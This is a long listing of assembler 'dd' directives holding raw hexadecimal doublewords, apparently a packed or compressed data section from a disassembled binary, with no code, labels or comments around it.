		dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h
		dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh
		dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah
		dd 0F62F0501h, 2AB0FEh,	65637845h, 0A6D13A70h, 805D883Ah
		dd 8B530A7h, 1C8A1020h,	0C0685CD4h, 817E2423h, 651F4845h
		dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch
		dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh
		dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh,	588E989Dh
		dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h,	0B258F057h
		dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h
		dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h
		dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch
		dd 2C00048h, 676E6152h,	9DFD1965h, 7700C820h, 8210C92h
		dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch,	64221DC0h
		dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h
		dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h
		dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h
		dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h
		dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h,	0D044F649h
		dd 301DB90Ch, 97D567Eh,	8C433Ah, 63E98D01h, 7542F4AFh
		dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh
		dd 0EACC4Ch, 41451005h,	7388C363h, 0E0568A00h, 0B9616C89h
		dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh
		dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h,	6B632661h
		dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh
		dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h
		dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h
		dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh,	738572D9h
		dd 490BDE8h, 839C6655h,	41491F0Ah, 4365D2ACh, 8F60E074h
		dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh
		dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h
		dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh
		dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h
		dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh
		dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h,	3AEB00E1h
		dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh
		dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh,	12A74A6h
		dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h,	0A120DC7Fh
		dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h,	69D02900h
		dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
		dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
		dd 0EB6192h, 2A914E17h,	6CF83037h, 0CB2BCE00h, 0D3674175h
		dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
		dd 0C16F03B8h, 67E4BAC2h
		dd 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h, 54F7644Ah
		dd 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h, 6818BAE2h
		dd 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah, 0B2640054h
		dd 10240CDBh, 860067E8h, 557550BAh, 12F3B91h, 3822F5D5h
		dd 402E1004h, 0C4F278E2h, 3A3F9400h, 0F4DAE445h, 0EE6A2E96h
		dd 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh, 0F4263868h
		dd 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h,	0BCC8F5Ch
		dd 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h, 9F0C62C6h
		dd 5FFE4Ch, 0D4D68251h,	993537AAh, 5A880207h, 32079D6Eh
		dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h
		dd 9AEFF00h, 6B291B50h,	3F840002h, 4461765Bh, 884CEE0Eh
		dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h
		dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h
		dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h
		dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h,	70FC00E5h
		dd 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h
		dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h
		dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h,	5BC30012h
		dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h
		dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h,	11B080h
		dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h
		dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h
		dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h,	0D6B5Eh
		dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h
		dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh,	9FDA00C0h
		dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h
		dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h
		dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h
		dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h,	573A0E47h
		dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h,	67503h
		dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h,	55DC00EAh
		dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h
		dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh
		dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h,	9DC400DFh
		dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh
		dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch,	62B01E87h
		dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h,	5D892082h
		dd 16297F00h, 3CE1FA2h,	7D510068h, 0B22890FCh, 612C8C5h
		dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h
		dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h,	0FEBAEAE8h
		dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h,	5CF100E8h
		dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h
		dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h,	0A6525851h
		dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh
		dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah
		dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h
		dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h,	37097739h
		dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h
		dd 0D68AE958h, 46178Dh,	1277A7DEh, 1077D4FFh, 390C093Dh
		dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh,	0C12488DFh
		dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h
		dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h
		dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h,	93C2564h
		dd 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh, 0B955D39Dh
		dd 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h,	0F29D1399h
		dd 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h,	40DE580Ah
		dd 826FB4B9h, 0F70023EBh, 1E575243h, 157480h, 48831B4Dh
		dd 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h,	90F7C006h
		dd 4B758DDBh, 0F1AF3Fh,	9D038BCCh, 785848h, 92598043h
		dd 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh, 27033942h
		dd 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h,	0E3B72E0h
		dd 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h,	8F4257B5h
		dd 22111E15h, 3D854010h, 93ACE092h, 90017E0h, 0F70E79C0h
		dd 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h, 23EA0F90h
		dd 53D180CEh, 3E0BA88h,	520191FEh, 0D1DF220Fh, 0F055A9C2h
		dd 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h, 2122C931h
		dd 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh, 5DD5D1Dh
		dd 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h, 0EBCA5D5Fh
		dd 7C95170Bh, 9053400h,	0EABA74F6h, 3B710001h, 6F77E04Dh
		dd 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h, 0F24F8033h
		dd 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh, 0DF0431E9h
		dd 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h,	1FF3F77h
		dd 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h, 114DF5C8h
		dd 4B31AC0h, 7773FCB8h,	139EC92h, 0BA2576C2h, 0E08A4BB5h
		dd 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch, 0F87B832Dh
		dd 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h,	0A9E8CF0Bh
		dd 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h,	0FD4F035h
		dd 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h, 7B7D59E3h
		dd 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h, 0F6034167h
		dd 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h, 52B785h
		dd 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh, 100200BBh
		dd 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h
		dd 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh,	7B9854EFh
		dd 0C0F57EBh, 0C05C40h,	2C23B38h, 437D7Ch, 0DDDB0330h
		dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h,	0EC7D4F39h
		dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
		dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
		dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh,	5A050013h
		dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
		dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
		dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
		dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
		dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
		dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
		dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
		dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
		dd 2B8E0056h, 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h
		dd 0A6F4C8h, 4FE083C1h,	21D00C03h, 0C7D91401h, 0D64BEB4h
		dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
		dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
		dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
		dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
		dd 7E772700h, 72052026h
		dd 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h, 0FE465C3Bh
		dd 94620077h, 17904815h, 30070E7Eh, 5C036618h, 41FE4E21h
		dd 0F775F8h, 0A4D2C3Ch,	0A0C18B49h, 0EF996700h,	6DF16963h
		dd 3F7C13h, 0DC8D39D1h,	0F06A2BF2h, 6CB14012h, 0F3FD2B00h
		dd 0C36231h, 23EE810Ah,	857524D9h, 7F144905h, 0B5C5FD45h
		dd 76A39C3h, 0A8427C6Ah, 7791F073h, 62037BE2h, 0B1B8461Ch
		dd 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h, 6CE7201h
		dd 75FF085Dh, 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h
		dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h
		dd 902BC0F0h, 7034612h,	497D834Ah, 819DE0A5h, 0B1F90017h
		dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h,	19130052h
		dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h
		dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh,	74410764h
		dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h
		dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh,	0F14110Eh
		dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh,	103B63h
		dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h
		dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch,	342507D0h
		dd 8060094h, 50FE1391h,	205C67FDh, 575E0011h, 2590E9D6h
		dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah
		dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh,	0EE09F9D8h
		dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h
		dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h
		dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh,	4FFF0022h
		dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h
		dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh
		dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh,	6233DAB0h
		dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch
		dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh
		dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h
		dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h
		dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h
		dd 197F6C7h, 5F0EFC43h,	0C8FB14F4h, 0AE02750Dh,	44748861h
		dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h
		dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h,	2A001E75h
		dd 2E8F039Eh, 0FC1CE9h,	73706C85h, 0B19C7508h, 3A62860Bh
		dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h,	0F633C7A8h
		dd 6CC60B8h, 3000077Eh,	3C961F74h, 0E2ABB49Dh, 0F0440187h
		dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h,	0B297C44Ch
		dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h,	0C948A40Ah
		dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh
		dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h
		dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh
		dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h
		dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h,	7F4ACC7h
		dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h
		dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h
		dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h
		dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h
		dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h
		dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h
		dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh
		dd 0C7256A4Ah, 55AE9Dh,	0EB41120Eh, 0A30FE620h,	144D0500h
		dd 24731682h, 2210032h,	774CCE54h, 2B005033h, 0B78EF44Dh
		dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h
		dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h
		dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh,	30E2B810h
		dd 7459D898h, 736B040h,	0C4370E64h, 0F9A9B028h,	0DF900FF0h
		dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h
		dd 671CDC4Dh, 2C5EC64h,	1A0C5903h, 1EE0B879h, 373E14CEh
		dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h
		dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h
		dd 24D6D07Ah, 710BCF8h,	810D48D7h, 411BF0BDh, 1C00752Fh
		dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h
		dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah,	90014EBh
		dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh
		dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h
		dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h
		dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h
		dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh,	0ECF32DEAh
		dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh,	0C896C0Dh
		dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h
		dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh
		dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h
		dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h
		dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h,	1A012A61h
		dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah,	6A7F2736h
		dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh
		dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh
		dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h,	90DE4302h
		dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h
		dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh
		dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h
		dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h
		dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h
		dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h
		dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h
		dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah
		dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h,	806DE41Fh
		dd 0C7089h, 0A0915A59h,	8880B494h, 0E42D0A03h, 0A281A54Dh
		dd 0D0B88053h, 67744Ah,	600F060Bh, 7216EA83h, 0EB100403h
		dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h,	340062C9h
		dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh,	0BF01D35Fh
		dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h,	0BD00C27Ah
		dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h
		dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h
		dd 50E88060h, 555AC01h,	68C1A1E0h, 0FB0A8058h, 0FC00EA51h
		dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h,	0F0466909h
		dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
		dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
		dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch,	6A0D4680h
		dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h,	8EEB7C72h
		dd 0E204471Fh, 0BB379F33h
		dd 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h, 0B095201Dh
		dd 36C30307h, 5E50604h,	2B30487h, 9D09CB08h, 200C9C03h
		dd 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h, 3825B10Fh
		dd 84FEE0D8h, 985C8A9h,	54CEE6EAh, 86AC7080h, 4839B042h
		dd 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h, 0F7F6114h
		dd 7C00A522h, 0B4496847h, 589C88h, 26961873h, 782F7024h
		dd 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh, 0B614B17h
		dd 0A6164307h, 2470E471h, 719684FCh, 66D900A4h,	0A114B8FCh
		dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h
		dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah,	3DBC990Bh
		dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h,	1F883386h
		dd 0A1AC44h, 8DCABCE4h,	89E82410h, 96633401h, 5AEB2948h
		dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh
		dd 95D8102h, 265C80CCh,	0E0696285h, 6E606E22h, 0A702A68Ah
		dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch
		dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h,	0C2B8D00Bh
		dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch,	0EFA85EC3h
		dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh
		dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h,	38FF4C15h
		dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh
		dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h
		dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h
		dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h
		dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h
		dd 0D1E88980h, 1788B6h,	948A8278h, 7F913967h, 9E4C2100h
		dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h
		dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h,	9226BBE8h
		dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h,	0DF23E828h
		dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h
		dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h,	549E1042h
		dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh
		dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h
		dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h
		dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h
		dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h
		dd 4100FEC9h, 4FBB07Bh,	102B207h, 658A13EBh, 7A4A3C38h
		dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh
		dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h
		dd 2FCCF814h, 5C1F1C1h,	0BB5460h, 9CF04CB4h, 0F21217A0h
		dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh
		dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h
		dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h,	0E800F43Ch
		dd 0BC8AC52Ah, 6C8D24h,	0ACBE0460h, 6C70375h, 0EDCC0900h
		dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h,	965C66F2h
		dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h
		dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h
		dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah,	0F6013347h
		dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h
		dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh
		dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh
		dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h
		dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h
		dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h
		dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h,	0A28670B9h
		dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh,	807DE949h
		dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h
		dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h
		dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh,	2D7B5D3Ch
		dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh
		dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh,	0CCDDD022h
		dd 53CFB3Fh, 1AB83155h,	8FF26272h, 0CF29CFEDh, 3C3FDE0Ah
		dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h
		dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h
		dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h
		dd 0F847FCh, 3A8A0CF2h,	6EE24C3h, 68001B7Ch, 100A211Ch
		dd 0CB8F4h, 0CF66A5C9h,	1D29EB2Bh, 0F928912Ch, 0F949DA00h
		dd 4160F0Ch, 7DB875F0h,	0DDABC0E3h, 0F500BA99h,	0B2F46E29h
		dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h,	43FCDD0Fh
		dd 30E2358h, 722CD020h,	266C3E3h, 0CE8618Ah, 1D007051h
		dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h
		dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh
